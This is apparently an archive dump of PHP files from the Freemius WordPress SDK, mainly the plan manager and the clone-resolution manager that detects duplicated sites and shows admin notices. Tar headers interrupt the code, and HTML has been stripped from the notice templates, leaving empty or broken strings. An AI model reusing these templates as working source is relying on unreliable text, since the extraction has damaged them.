                  * The return value is cast to an integer. */ #[ReturnTypeWillChange] public function count() { return count( $this->_data ); } }vendor/freemius/includes/managers/class-fs-plan-manager.php000064400000006036147600365160020064 0ustar00is_utilized() && $license->is_features_enabled() ) { return true; } } } return false; } /** * Check if plugin has any paid plans. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param FS_Plugin_Plan[] $plans * * @return bool */ function has_paid_plan( $plans ) { if ( ! is_array( $plans ) || 0 === count( $plans ) ) { return false; } /** * @var FS_Plugin_Plan[] $plans */ for ( $i = 0, $len = count( $plans ); $i < $len; $i ++ ) { if ( ! $plans[ $i ]->is_free() ) { return true; } } return false; } /** * Check if plugin has any free plan, or is it premium only. * * Note: If no plans configured, assume plugin is free. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param FS_Plugin_Plan[] $plans * * @return bool */ function has_free_plan( $plans ) { if ( ! is_array( $plans ) || 0 === count( $plans ) ) { return true; } /** * @var FS_Plugin_Plan[] $plans */ for ( $i = 0, $len = count( $plans ); $i < $len; $i ++ ) { if ( $plans[ $i ]->is_free() ) { return true; } } return false; } /** * Find all plans that have trial. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param FS_Plugin_Plan[] $plans * * @return FS_Plugin_Plan[] */ function get_trial_plans( $plans ) { $trial_plans = array(); if ( is_array( $plans ) && 0 < count( $plans ) ) { /** * @var FS_Plugin_Plan[] $plans */ for ( $i = 0, $len = count( $plans ); $i < $len; $i ++ ) { if ( $plans[ $i ]->has_trial() ) { $trial_plans[] = $plans[ $i ]; } } } return $trial_plans; } /** * Check if plugin has any trial plan. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param FS_Plugin_Plan[] $plans * * @return bool */ function has_trial_plan( $plans ) { if ( ! is_array( $plans ) || 0 === count( $plans ) ) { return true; } /** * @var FS_Plugin_Plan[] $plans */ for ( $i = 0, $len = count( $plans ); $i < $len; $i ++ ) { if ( $plans[ $i ]->has_trial() ) { return true; } } return false; } }vendor/freemius/includes/managers/index.php000064400000000127147600365160015113 0ustar00_storage = FS_Option_Manager::get_manager( WP_FS___OPTION_PREFIX . self::OPTION_MANAGER_NAME, true ); $this->_network_storage = FS_Option_Manager::get_manager( WP_FS___OPTION_PREFIX . self::OPTION_MANAGER_NAME, true, true ); $this->maybe_migrate_options(); $this->_notices = FS_Admin_Notices::instance( 'global_clone_resolution_notices', '', '', true ); $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . '_clone_manager', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); } /** * Migrate clone resolution options from 2.5.0 array-based structure, to a new flat structure. * * The reason this logic is not in a separate migration script is that we want to be 100% sure data is migrated before any execution of clone logic. * * @todo Delete this one in the future. */ private function maybe_migrate_options() { $storages = array( $this->_storage, $this->_network_storage ); foreach ( $storages as $storage ) { $clone_data = $storage->get_option( self::OPTION_NAME ); if ( is_array( $clone_data ) && ! empty( $clone_data ) ) { foreach ( $clone_data as $key => $val ) { if ( ! is_null( $val ) ) { $storage->set_option( $key, $val ); } } $storage->unset_option( self::OPTION_NAME, true ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _init() { if ( is_admin() ) { if ( Freemius::is_admin_post() ) { add_action( 'admin_post_fs_clone_resolution', array( $this, '_handle_clone_resolution' ) ); } if ( Freemius::is_ajax() ) { Freemius::add_ajax_action_static( 'handle_clone_resolution', array( $this, '_clone_resolution_action_ajax_handler' ) ); } else { if ( empty( $this->get_clone_identification_timestamp() ) && ( ! fs_is_network_admin() || ! ( $this->is_clone_resolution_options_notice_shown() || $this->is_temporary_duplicate_notice_shown() ) ) ) { $this->hide_clone_admin_notices(); } else if ( ! Freemius::is_cron() && ! Freemius::is_admin_post() ) { $this->try_resolve_clone_automatically(); $this->maybe_show_clone_admin_notice(); add_action( 'admin_footer', array( $this, '_add_clone_resolution_javascript' ) ); } } } } /** * Retrieves the timestamp that was stored when a clone was identified. * * @return int|null */ function get_clone_identification_timestamp() { return $this->get_option( 'clone_identification_timestamp', true ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @param string $sdk_last_version */ function maybe_update_clone_resolution_support_flag( $sdk_last_version ) { if ( null !== $this->hide_manual_resolution ) { return; } $this->hide_manual_resolution = ( ! empty( $sdk_last_version ) && version_compare( $sdk_last_version, '2.5.0', '<' ) ); } /** * Stores the time when a clone was identified. */ function store_clone_identification_timestamp() { $this->clone_identification_timestamp = time(); } /** * Retrieves the timestamp for the temporary duplicate mode's expiration. * * @return int */ function get_temporary_duplicate_expiration_timestamp() { $temporary_duplicate_mode_start_timestamp = $this->was_temporary_duplicate_mode_selected() ? $this->temporary_duplicate_mode_selection_timestamp : $this->get_clone_identification_timestamp(); return ( $temporary_duplicate_mode_start_timestamp + self::TEMPORARY_DUPLICATE_PERIOD ); } /** * Determines if the SDK should handle clones. The SDK handles clones only up to 3 times with 3 min interval. * * @return bool */ private function should_handle_clones() { if ( ! isset( $this->request_handler_timestamp ) ) { return true; } if ( $this->request_handler_retries_count >= self::CLONE_RESOLUTION_MAX_RETRIES ) { return false; } // Give the logic that handles clones enough time to finish (it is given 3 minutes for now). return ( time() > ( $this->request_handler_timestamp + self::CLONE_RESOLUTION_MAX_EXECUTION_TIME ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @return bool */ function should_hide_manual_resolution() { return ( true === $this->hide_manual_resolution ); } /** * Executes the clones handler logic if it should be executed, i.e., based on the return value of the should_handle_clones() method. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function maybe_run_clone_resolution() { if ( ! $this->should_handle_clones() ) { return; } $this->request_handler_retries_count = isset( $this->request_handler_retries_count ) ? ( $this->request_handler_retries_count + 1 ) : 1; $this->request_handler_timestamp = time(); $handler_id = ( rand() . microtime() ); $this->request_handler_id = $handler_id; // Add cookies to trigger request with the same user access permissions. $cookies = array(); foreach ( $_COOKIE as $name => $value ) { $cookies[] = new WP_Http_Cookie( array( 'name' => $name, 'value' => $value, ) ); } wp_remote_post( admin_url( 'admin-post.php' ), array( 'method' => 'POST', 'body' => array( 'action' => 'fs_clone_resolution', 'handler_id' => $handler_id, ), 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, 'cookies' => $cookies, ) ); } /** * Executes the clones handler logic. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _handle_clone_resolution() { $handler_id = fs_request_get( 'handler_id' ); if ( empty( $handler_id ) ) { return; } if ( ! isset( $this->request_handler_id ) || $this->request_handler_id !== $handler_id ) { return; } if ( ! $this->try_automatic_resolution() ) { $this->clear_temporary_duplicate_notice_shown_timestamp(); } } #-------------------------------------------------------------------------------- #region Automatic Clone Resolution #-------------------------------------------------------------------------------- /** * @var array All installs cache. */ private $all_installs; /** * Checks if a given instance's install is a clone of another subsite in the network. * * @author Vova Feldman (@svovaf) * * @return FS_Site */ private function find_network_subsite_clone_install( Freemius $instance ) { if ( ! is_multisite() ) { // Not a multi-site network. return null; } if ( ! isset( $this->all_installs ) ) { $this->all_installs = Freemius::get_all_modules_sites(); } // Check if there's another blog that has the same site. $module_type = $instance->get_module_type(); $sites_by_module_type = ! empty( $this->all_installs[ $module_type ] ) ? $this->all_installs[ $module_type ] : array(); $slug = $instance->get_slug(); $sites_by_slug = ! empty( $sites_by_module_type[ $slug ] ) ? $sites_by_module_type[ $slug ] : array(); $current_blog_id = get_current_blog_id(); $current_install = $instance->get_site(); foreach ( $sites_by_slug as $site ) { if ( $current_install->id == $site->id && $current_blog_id != $site->blog_id ) { // Clone is identical to an install on another subsite in the network. return $site; } } return null; } /** * Tries to find a different install of the context product that is associated with the current URL and loads it. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param Freemius $instance * @param string $url * * @return object */ private function find_other_install_by_url( Freemius $instance, $url ) { $result = $instance->get_api_user_scope()->get( "/plugins/{$instance->get_id()}/installs.json?url=" . urlencode( $url ) . "&all=true", true ); $current_install = $instance->get_site(); if ( $instance->is_api_result_object( $result, 'installs' ) ) { foreach ( $result->installs as $install ) { if ( $install->id == $current_install->id ) { continue; } if ( $instance->is_only_premium() && ! FS_Plugin_License::is_valid_id( $install->license_id ) ) { continue; } // When searching for installs by a URL, the API will first strip any paths and search for any matching installs by the subdomain. Therefore, we need to test if there's a match between the current URL and the install's URL before continuing. if ( $url !== fs_strip_url_protocol( untrailingslashit( $install->url ) ) ) { continue; } // Found a different install that is associated with the current URL, load it and replace the current install with it if no updated install is found. return $install; } } return null; } /** * Delete the current install associated with a given instance and opt-in/activate-license to create a fresh install. * * @author Vova Feldman (@svovaf) * @since 2.5.0 * * @param Freemius $instance * @param string|false $license_key * * @return bool TRUE if successfully connected. FALSE if failed and had to restore install from backup. */ private function delete_install_and_connect( Freemius $instance, $license_key = false ) { $user = Freemius::_get_user_by_id( $instance->get_site()->user_id ); $instance->delete_current_install( true ); if ( ! is_object( $user ) ) { // Get logged-in WordPress user. $current_user = Freemius::_get_current_wp_user(); // Find the relevant FS user by email address. $user = Freemius::_get_user_by_email( $current_user->user_email ); } if ( is_object( $user ) ) { // When a clone is found, we prefer to use the same user of the original install for the opt-in. $instance->install_with_user( $user, $license_key, false, false ); } else { // If no user is found, activate with the license. $instance->opt_in( false, false, false, $license_key ); } if ( is_object( $instance->get_site() ) ) { // Install successfully created. return true; } // Restore from backup. $instance->restore_backup_site(); return false; } /** * Try to resolve the clone situation automatically. * * @param Freemius $instance * @param string $current_url * @param bool $is_localhost * @param bool|null $is_clone_of_network_subsite * * @return bool If managed to automatically resolve the clone. */ private function try_resolve_clone_automatically_by_instance( Freemius $instance, $current_url, $is_localhost, $is_clone_of_network_subsite = null ) { // Try to find a different install of the context product that is associated with the current URL. $associated_install = $this->find_other_install_by_url( $instance, $current_url ); if ( is_object( $associated_install ) ) { // Replace the current install with a different install that is associated with the current URL. $instance->store_site( new FS_Site( clone $associated_install ) ); $instance->sync_install( array( 'is_new_site' => true ), true ); return true; } if ( ! $instance->is_premium() ) { // For free products, opt-in with the context user to create new install. return $this->delete_install_and_connect( $instance ); } $license = $instance->_get_license(); $can_activate_license = ( is_object( $license ) && ! $license->is_utilized( $is_localhost ) ); if ( ! $can_activate_license ) { // License can't be activated, therefore, can't be automatically resolved. return false; } if ( ! WP_FS__IS_LOCALHOST_FOR_SERVER && ! $is_localhost ) { $is_clone_of_network_subsite = ( ! is_null( $is_clone_of_network_subsite ) ) ? $is_clone_of_network_subsite : is_object( $this->find_network_subsite_clone_install( $instance ) ); if ( ! $is_clone_of_network_subsite ) { return false; } } // If the site is a clone of another subsite in the network, or a localhost one, try to auto activate the license. return $this->delete_install_and_connect( $instance, $license->secret_key ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function try_resolve_clone_automatically() { $clone_action = $this->get_clone_resolution_action_from_config(); if ( ! empty( $clone_action ) ) { $this->try_resolve_clone_automatically_by_config( $clone_action ); return; } $this->try_automatic_resolution(); } /** * Tries to resolve the clone situation automatically based on the config in the wp-config.php file. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param string $clone_action */ private function try_resolve_clone_automatically_by_config( $clone_action ) { $fs_instances = array(); if ( self::OPTION_LONG_TERM_DUPLICATE === $clone_action ) { $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( ! $instance->is_registered() ) { continue; } if ( ! $instance->is_clone() ) { continue; } $license = $instance->has_features_enabled_license() ? $instance->_get_license() : null; if ( is_object( $license ) && ! $license->is_utilized( ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( Freemius::get_unfiltered_site_url() ) ) ) ) { $fs_instances[] = $instance; } } if ( empty( $fs_instances ) ) { return; } } $this->resolve_cloned_sites( $clone_action, $fs_instances ); } /** * @author Leo Fajard (@leorw) * @since 2.5.0 * * @return string|null */ private function get_clone_resolution_action_from_config() { if ( ! defined( 'FS__RESOLVE_CLONE_AS' ) ) { return null; } if ( ! in_array( FS__RESOLVE_CLONE_AS, array( self::OPTION_NEW_HOME, self::OPTION_TEMPORARY_DUPLICATE, self::OPTION_LONG_TERM_DUPLICATE, ) ) ) { return null; } return FS__RESOLVE_CLONE_AS; } /** * Tries to recover the install of a newly created subsite or resolve it if it's a clone. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param Freemius $instance */ function maybe_resolve_new_subsite_install_automatically( Freemius $instance ) { if ( ! $instance->is_user_in_admin() ) { // Try to recover an install or resolve a clone only when there's a user in admin to prevent doing it prematurely (e.g., the install can get replaced with clone data again). return; } if ( ! is_multisite() ) { return; } $new_blog_install_map = $this->new_blog_install_map; if ( empty( $new_blog_install_map ) || ! is_array( $new_blog_install_map ) ) { return; } $is_network_admin = fs_is_network_admin(); if ( ! $is_network_admin ) { // If not in network admin, handle the current site. $blog_id = get_current_blog_id(); } else { // If in network admin, handle only the first site. $blog_ids = array_keys( $new_blog_install_map ); $blog_id = $blog_ids[0]; } if ( ! isset( $new_blog_install_map[ $blog_id ] ) ) { // There's no site to handle. return; } $expected_install_id = $new_blog_install_map[ $blog_id ]['install_id']; $current_install = $instance->get_install_by_blog_id( $blog_id ); $current_install_id = is_object( $current_install ) ? $current_install->id : null; if ( $expected_install_id == $current_install_id ) { // Remove the current site's information from the map to prevent handling it again. $this->remove_new_blog_install_info_from_storage( $blog_id ); return; } require_once WP_FS__DIR_INCLUDES . '/class-fs-lock.php'; $lock = new FS_Lock( self::OPTION_NAME . '_subsite' ); if ( ! $lock->try_lock(60) ) { return; } $instance->switch_to_blog( $blog_id ); $current_url = untrailingslashit( Freemius::get_unfiltered_site_url( null, true ) ); $current_install_url = is_object( $current_install ) ? fs_strip_url_protocol( untrailingslashit( $current_install->url ) ) : null; // This can be `false` even if the install is a clone as the URL can be updated as part of the cloning process. $is_clone = ( ! is_null( $current_install_url ) && $current_url !== $current_install_url ); if ( ! FS_Site::is_valid_id( $expected_install_id ) ) { $expected_install = null; } else { $expected_install = $instance->fetch_install_by_id( $expected_install_id ); } if ( FS_Api::is_api_result_entity( $expected_install ) ) { // Replace the current install with the expected install. $instance->store_site( new FS_Site( clone $expected_install ) ); $instance->sync_install( array( 'is_new_site' => true ), true ); } else { $network_subsite_clone_install = null; if ( ! $is_clone ) { // It is possible that `$is_clone` is `false` but the install is actually a clone as the following call checks the install ID and not the URL. $network_subsite_clone_install = $this->find_network_subsite_clone_install( $instance ); } if ( $is_clone || is_object( $network_subsite_clone_install ) ) { // If there's no expected install (or it couldn't be fetched) and the current install is a clone, try to resolve the clone automatically. $is_localhost = FS_Site::is_localhost_by_address( $current_url ); $resolved = $this->try_resolve_clone_automatically_by_instance( $instance, $current_url, $is_localhost, is_object( $network_subsite_clone_install ) ); if ( ! $resolved && is_object( $network_subsite_clone_install ) ) { if ( empty( $this->get_clone_identification_timestamp() ) ) { $this->store_clone_identification_timestamp(); } // Since the clone couldn't be identified based on the URL, replace the stored install with the cloned install so that the manual clone resolution notice will appear. $instance->store_site( clone $network_subsite_clone_install ); } } } $instance->restore_current_blog(); // Remove the current site's information from the map to prevent handling it again. $this->remove_new_blog_install_info_from_storage( $blog_id ); $lock->unlock(); } /** * If a new install was created after creating a new subsite, its ID is stored in the blog-install map so that it can be recovered in case it's replaced with a clone install (e.g., when the newly created subsite is a clone). The IDs of the clone subsites that were created while not running this version of the SDK or a higher version will also be stored in the said map so that the clone manager can also try to resolve them later on. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param int $blog_id * @param FS_Site $site */ function store_blog_install_info( $blog_id, $site = null ) { $new_blog_install_map = $this->new_blog_install_map; if ( empty( $new_blog_install_map ) || ! is_array( $new_blog_install_map ) ) { $new_blog_install_map = array(); } $install_id = null; if ( is_object( $site ) ) { $install_id = $site->id; } $new_blog_install_map[ $blog_id ] = array( 'install_id' => $install_id ); $this->new_blog_install_map = $new_blog_install_map; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param int $blog_id */ private function remove_new_blog_install_info_from_storage( $blog_id ) { $new_blog_install_map = $this->new_blog_install_map; unset( $new_blog_install_map[ $blog_id ] ); $this->new_blog_install_map = $new_blog_install_map; } /** * Tries to resolve all clones automatically. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return bool If managed to automatically resolve all clones. */ private function try_automatic_resolution() { $this->_logger->entrance(); require_once WP_FS__DIR_INCLUDES . '/class-fs-lock.php'; $lock = new FS_Lock( self::OPTION_NAME ); /** * Try to acquire lock for the next 60 sec based on the thread ID. */ if ( ! $lock->try_lock( 60 ) ) { return false; } $current_url = untrailingslashit( Freemius::get_unfiltered_site_url( null, true ) ); $is_localhost = FS_Site::is_localhost_by_address( $current_url ); $require_manual_resolution = false; $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( ! $instance->is_registered() ) { continue; } if ( ! $instance->is_clone() ) { continue; } if ( ! $this->try_resolve_clone_automatically_by_instance( $instance, $current_url, $is_localhost ) ) { $require_manual_resolution = true; } } // Create a 1-day lock. $lock->lock( WP_FS__TIME_24_HOURS_IN_SEC ); return ( ! $require_manual_resolution ); } #endregion #-------------------------------------------------------------------------------- #region Manual Clone Resolution #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _add_clone_resolution_javascript() { $vars = array( 'ajax_action' => Freemius::get_ajax_action_static( 'handle_clone_resolution' ) ); fs_require_once_template( 'clone-resolution-js.php', $vars ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _clone_resolution_action_ajax_handler() { $this->_logger->entrance(); check_ajax_referer( Freemius::get_ajax_action_static( 'handle_clone_resolution' ), 'security' ); $clone_action = fs_request_get( 'clone_action' ); $blog_id = is_multisite() ? fs_request_get( 'blog_id' ) : 0; if ( is_multisite() && $blog_id == get_current_blog_id() ) { $blog_id = 0; } if ( empty( $clone_action ) ) { Freemius::shoot_ajax_failure( array( 'message' => fs_text_inline( 'Invalid clone resolution action.', 'invalid-clone-resolution-action-error' ), 'redirect_url' => '', ) ); } $result = $this->resolve_cloned_sites( $clone_action, array(), $blog_id ); Freemius::shoot_ajax_success( $result ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param string $clone_action * @param Freemius[] $fs_instances * @param int $blog_id * * @return array */ private function resolve_cloned_sites( $clone_action, $fs_instances = array(), $blog_id = 0 ) { $this->_logger->entrance(); $result = array(); $instances_with_clone = array(); $instances_with_clone_count = 0; $install_by_instance_id = array(); $instances = ( ! empty( $fs_instances ) ) ? $fs_instances : Freemius::_get_all_instances(); $should_switch_to_blog = ( $blog_id > 0 ); foreach ( $instances as $instance ) { if ( $should_switch_to_blog ) { $instance->switch_to_blog( $blog_id ); } if ( $instance->is_registered() && $instance->is_clone() ) { $instances_with_clone[] = $instance; $instances_with_clone_count ++; $install_by_instance_id[ $instance->get_id() ] = $instance->get_site(); } } if ( self::OPTION_TEMPORARY_DUPLICATE === $clone_action ) { $this->store_temporary_duplicate_timestamp(); } else { $redirect_url = ''; foreach ( $instances_with_clone as $instance ) { if ( $should_switch_to_blog ) { $instance->switch_to_blog( $blog_id ); } $has_error = false; if ( self::OPTION_NEW_HOME === $clone_action ) { $instance->sync_install( array( 'is_new_site' => true ), true ); if ( $instance->is_clone() ) { $has_error = true; } } else { $instance->_handle_long_term_duplicate(); if ( ! is_object( $instance->get_site() ) ) { $has_error = true; } } if ( $has_error && 1 === $instances_with_clone_count ) { $redirect_url = $instance->get_activation_url(); } } $result = ( array( 'redirect_url' => $redirect_url ) ); } foreach ( $instances_with_clone as $instance ) { if ( $should_switch_to_blog ) { $instance->switch_to_blog( $blog_id ); } // No longer a clone, send an update. if ( ! $instance->is_clone() ) { $instance->send_clone_resolution_update( $clone_action, $install_by_instance_id[ $instance->get_id() ] ); } } if ( 'temporary_duplicate_license_activation' !== $clone_action ) { $this->remove_clone_resolution_options_notice(); } else { $this->remove_temporary_duplicate_notice(); } if ( $should_switch_to_blog ) { foreach ( $instances as $instance ) { $instance->restore_current_blog(); } } return $result; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function hide_clone_admin_notices() { $this->remove_clone_resolution_options_notice( false ); $this->remove_temporary_duplicate_notice( false ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function maybe_show_clone_admin_notice() { $this->_logger->entrance(); if ( fs_is_network_admin() ) { $existing_notice_ids = $this->maybe_remove_notices(); if ( ! empty( $existing_notice_ids ) ) { fs_enqueue_local_style( 'fs_clone_resolution_notice', '/admin/clone-resolution.css' ); } return; } $first_instance_with_clone = null; $site_urls = array(); $sites_with_license_urls = array(); $sites_with_premium_version_count = 0; $product_ids = array(); $product_titles = array(); $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( ! $instance->is_registered() ) { continue; } if ( ! $instance->is_clone( true ) ) { continue; } $install = $instance->get_site(); $site_urls[] = $install->url; $product_ids[] = $instance->get_id(); $product_titles[] = $instance->get_plugin_title(); if ( is_null( $first_instance_with_clone ) ) { $first_instance_with_clone = $instance; } if ( is_object( $instance->_get_license() ) ) { $sites_with_license_urls[] = $install->url; } if ( $instance->is_premium() ) { $sites_with_premium_version_count ++; } } if ( empty( $site_urls ) && empty( $sites_with_license_urls ) ) { $this->hide_clone_admin_notices(); return; } $site_urls = array_unique( $site_urls ); $sites_with_license_urls = array_unique( $sites_with_license_urls ); $module_label = fs_text_inline( 'products', 'products' ); $admin_notice_module_title = null; $has_temporary_duplicate_mode_expired = $this->has_temporary_duplicate_mode_expired(); if ( ! $this->was_temporary_duplicate_mode_selected() || $has_temporary_duplicate_mode_expired ) { if ( ! empty( $site_urls ) ) { fs_enqueue_local_style( 'fs_clone_resolution_notice', '/admin/clone-resolution.css' ); $doc_url = 'https://freemius.com/help/documentation/wordpress-sdk/safe-mode-clone-resolution-duplicate-website/'; if ( 1 === count( $instances ) ) { $doc_url = fs_apply_filter( $first_instance_with_clone->get_unique_affix(), 'clone_resolution_documentation_url', $doc_url ); } $this->add_manual_clone_resolution_admin_notice( $product_ids, $product_titles, $site_urls, Freemius::get_unfiltered_site_url(), ( count( $site_urls ) === count( $sites_with_license_urls ) ), ( count( $site_urls ) === $sites_with_premium_version_count ), $doc_url ); } return; } if ( empty( $sites_with_license_urls ) ) { return; } if ( ! $this->is_temporary_duplicate_notice_shown() ) { $last_time_temporary_duplicate_notice_shown = $this->temporary_duplicate_notice_shown_timestamp; $was_temporary_duplicate_notice_shown_before = is_numeric( $last_time_temporary_duplicate_notice_shown ); if ( $was_temporary_duplicate_notice_shown_before ) { $temporary_duplicate_mode_expiration_timestamp = $this->get_temporary_duplicate_expiration_timestamp(); $current_time = time(); if ( $current_time > $temporary_duplicate_mode_expiration_timestamp || $current_time < ( $temporary_duplicate_mode_expiration_timestamp - ( 2 * WP_FS__TIME_24_HOURS_IN_SEC ) ) ) { // Do not show the notice if the temporary duplicate mode has already expired or it will expire more than 2 days from now. return; } } } if ( 1 === count( $sites_with_license_urls ) ) { $module_label = $first_instance_with_clone->get_module_label( true ); $admin_notice_module_title = $first_instance_with_clone->get_plugin_title(); } fs_enqueue_local_style( 'fs_clone_resolution_notice', '/admin/clone-resolution.css' ); $this->add_temporary_duplicate_sticky_notice( $product_ids, $this->get_temporary_duplicate_admin_notice_string( $sites_with_license_urls, $product_titles, $module_label ), $admin_notice_module_title ); } /** * Removes the notices from the storage if the context product is either no longer active on the context subsite or it's active but there's no longer any clone. This prevents the notices from being shown on the network-level admin page when they are no longer relevant. * * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @return string[] */ private function maybe_remove_notices() { $notices = array( 'clone_resolution_options_notice' => $this->_notices->get_sticky( 'clone_resolution_options_notice', true ), 'temporary_duplicate_notice' => $this->_notices->get_sticky( 'temporary_duplicate_notice', true ), ); $instances = Freemius::_get_all_instances(); foreach ( $notices as $id => $notice ) { if ( ! is_array( $notice ) ) { unset( $notices[ $id ] ); continue; } if ( empty( $notice['data'] ) || ! is_array( $notice['data'] ) ) { continue; } if ( empty( $notice['data']['product_ids'] ) || empty( $notice['data']['blog_id'] ) ) { continue; } $product_ids = $notice['data']['product_ids']; $blog_id = $notice['data']['blog_id']; $has_clone = false; if ( ! is_null( get_site( $blog_id ) ) ) { foreach ( $product_ids as $product_id ) { if ( ! isset( $instances[ 'm_' . $product_id ] ) ) { continue; } $instance = $instances[ 'm_' . $product_id ]; $plugin_basename = $instance->get_plugin_basename(); $is_plugin_active = is_plugin_active_for_network( $plugin_basename ); if ( ! $is_plugin_active ) { switch_to_blog( $blog_id ); $is_plugin_active = is_plugin_active( $plugin_basename ); restore_current_blog(); } if ( ! $is_plugin_active ) { continue; } $install = $instance->get_install_by_blog_id( $blog_id ); if ( ! is_object( $install ) ) { continue; } $subsite_url = Freemius::get_unfiltered_site_url( $blog_id, true, true ); $has_clone = ( fs_strip_url_protocol( trailingslashit( $install->url ) ) !== $subsite_url ); } } if ( ! $has_clone ) { $this->_notices->remove_sticky( $id, true, false ); unset( $notices[ $id ] ); } } return array_keys( $notices ); } /** * Adds a notice that provides the logged-in WordPress user with manual clone resolution options. * * @param number[] $product_ids * @param string[] $site_urls * @param string $current_url * @param bool $has_license * @param bool $is_premium * @param string $doc_url */ private function add_manual_clone_resolution_admin_notice( $product_ids, $product_titles, $site_urls, $current_url, $has_license, $is_premium, $doc_url ) { $this->_logger->entrance(); $total_sites = count( $site_urls ); $sites_list = ''; $total_products = count( $product_titles ); $products_list = ''; if ( 1 === $total_products ) { $notice_header = sprintf( '

                  %s

                  ', fs_esc_html_inline( '%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.', 'single-cloned-site-safe-mode-message' ) ); } else { $notice_header = sprintf( '

                  %s

                  ', ( 1 === $total_sites ) ? fs_esc_html_inline( 'The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$s', 'multiple-products-cloned-site-safe-mode-message' ) : fs_esc_html_inline( 'The products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$s', 'multiple-products-multiple-cloned-sites-safe-mode-message' ) ); foreach ( $product_titles as $product_title ) { $products_list .= sprintf( '
                • %s
                • ', $product_title ); } $products_list = '
                    ' . $products_list . '
                  '; foreach ( $site_urls as $site_url ) { $sites_list .= sprintf( '
                • %s
                • ', $site_url, fs_strip_url_protocol( $site_url ) ); } $sites_list = '
                    ' . $sites_list . '
                  '; } $remote_site_link = '' . (1 === $total_sites ? sprintf( '%s', $site_urls[0], fs_strip_url_protocol( $site_urls[0] ) ) : fs_text_inline( 'the above-mentioned sites', 'above-mentioned-sites' )) . ''; $current_site_link = sprintf( '%s', $current_url, fs_strip_url_protocol( $current_url ) ); $button_template = ''; $option_template = '
                  %s

                  %s

                  %s
                  '; $duplicate_option = sprintf( $option_template, fs_esc_html_inline( 'Is %2$s a duplicate of %4$s?', 'duplicate-site-confirmation-message' ), fs_esc_html_inline( 'Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.', 'duplicate-site-message' ), ( $this->has_temporary_duplicate_mode_expired() ? sprintf( $button_template, 'long_term_duplicate', fs_text_inline( 'Long-Term Duplicate', 'long-term-duplicate' ) ) : sprintf( $button_template, 'temporary_duplicate', fs_text_inline( 'Duplicate Website', 'duplicate-site' ) ) ) ); $migration_option = sprintf( $option_template, fs_esc_html_inline( 'Is %2$s the new home of %4$s?', 'migrate-site-confirmation-message' ), sprintf( fs_esc_html_inline( 'Yes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.', 'migrate-site-message' ), ( $has_license ? fs_text_inline( 'license', 'license' ) : fs_text_inline( 'data', 'data' ) ) ), sprintf( $button_template, 'new_home', $has_license ? fs_text_inline( 'Migrate License', 'migrate-product-license' ) : fs_text_inline( 'Migrate', 'migrate-product-data' ) ) ); $new_website = sprintf( $option_template, fs_esc_html_inline( 'Is %2$s a new website?', 'new-site-confirmation-message' ), fs_esc_html_inline( 'Yes, %2$s is a new and different website that is separate from %4$s.', 'new-site-message' ) . ($is_premium ? ' ' . fs_text_inline( 'It requires license activation.', 'new-site-requires-license-activation-message' ) : '' ), sprintf( $button_template, 'new_website', ( ! $is_premium || ! $has_license ) ? fs_text_inline( 'New Website', 'new-website' ) : fs_text_inline( 'Activate License', 'activate-license' ) ) ); $blog_id = get_current_blog_id(); /** * %1$s - single product's title or product titles list. * %2$s - site's URL. * %3$s - single install's URL or install URLs list. * %4$s - Clone site's link or "the above-mentioned sites" if there are multiple clone sites. */ $message = sprintf( $notice_header . '
                  ' . $duplicate_option . $migration_option . $new_website . '
                  ' . sprintf( '
                  Unsure what to do? Read more here.
                  ', $doc_url ), // %1$s ( 1 === $total_products ? sprintf( '%s', $product_titles[0] ) : ( 1 === $total_sites ? sprintf( '
                  %s
                  ', $products_list ) : sprintf( '

                  %s:

                  %s
                  ', fs_esc_html_x_inline( 'Products', 'Clone resolution admin notice products list label', 'products' ), $products_list ) ) ), // %2$s $current_site_link, // %3$s ( 1 === $total_sites ? $remote_site_link : $sites_list ), // %4$s $remote_site_link ); $this->_notices->add_sticky( $message, 'clone_resolution_options_notice', '', 'warn', true, null, null, true, // Intentionally not dismissible. false, array( 'product_ids' => $product_ids, 'blog_id' => $blog_id ) ); } #endregion #-------------------------------------------------------------------------------- #region Temporary Duplicate (Short Term) #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return string */ private function get_temporary_duplicate_admin_notice_string( $site_urls, $product_titles, $module_label ) { $this->_logger->entrance(); $temporary_duplicate_end_date = $this->get_temporary_duplicate_expiration_timestamp(); $temporary_duplicate_end_date = date( 'M j, Y', $temporary_duplicate_end_date ); $current_url = Freemius::get_unfiltered_site_url(); $current_site_link = sprintf( '%s', $current_url, 